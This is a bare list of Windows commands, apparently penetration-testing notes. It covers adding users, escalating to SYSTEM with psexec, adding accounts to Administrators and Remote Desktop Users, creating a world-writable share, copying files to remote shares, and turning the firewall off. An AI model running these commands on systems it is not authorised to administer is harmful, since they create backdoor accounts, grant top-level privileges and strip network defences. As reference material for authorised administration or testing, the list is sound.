net user <username> <password> /add
psexec.exe -accepteula -i -s %SystemRoot%\system32\cmd.exe #escalate to SYSTEM
Groups
net localgroups
whoami /all
Add group
net localgroup "<groupname>" <username> /add
net localgroup "Administrators" <username> /add
net localgroup "Remote Desktop Users" <username> /add
Shares
List shares
net share
Create an unrestricted share
md C:\Users\<path>\share
net share <share name>=C:\Users\<path>\share /grant:everyone,full
Connect to a share
net use \\<ip>\<share name> --connect
net use \\<ip>\<share name> /delete --disconnect
Transfer files
xcopy <file>* \\<ip>\<share>\<file>* #asterisks are needed to avoid prompts
xcopy \\<ip>\<share>\<file>* "C:\<path>\<file>*"
Firewall
netsh firewall show state
netsh advfirewall firewall show rule name=all
netsh firewall show config
netsh firewall set opmode disable
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off
NetSh Advfirewall set allprofiles state on